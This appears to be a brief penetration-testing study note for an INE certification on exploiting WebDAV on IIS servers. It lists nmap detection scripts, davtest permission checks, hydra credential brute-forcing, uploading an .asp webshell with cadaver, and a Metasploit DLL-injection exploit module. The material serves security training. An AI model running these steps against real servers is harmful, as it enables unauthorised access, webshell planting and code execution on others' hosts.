Skip to content
Home

WebDAV exploitation: detection, authentication, shell upload

Identify WebDAV on IIS, brute-force or use known creds, upload a malicious .asp webshell, get a reverse shell.

bash·1 min read··INE Certification

WebDAV extends HTTP to allow file management on a remote server, and on IIS with weak credentials it’s a direct path to uploading and executing a malicious .asp shell which then gives code execution on the Windows host.

Detect WebDAV

nmap -p80 -sV -sC <target_ip>
nmap -p80 --script http-enum <target_ip>    # may reveal /webdav/
nmap -p80 --script http-webdav-scan <target_ip>

# Metasploit module:
use auxiliary/scanner/http/webdav_scanner

Permission testing / brute-force

davtest -url http://<target_ip>/webdav  # anonymous permissions check
hydra -L users.txt -P passwords.txt <target_ip> http-get /webdav/
davtest -auth <user>:<pass> -url http://<target_ip>/webdav  # confirm what an authenticated user can do

Upload the webshell

cadaver http://<target_ip>/webdav
put /usr/share/webshells/asp/webshell.asp

Kali’s prebuilt webshells are in /usr/share/webshells/asp/.

Automated (Metasploit)

use exploit/windows/iis/iis_webdav_asp_dllinject
set RHOSTS <target_ip>
run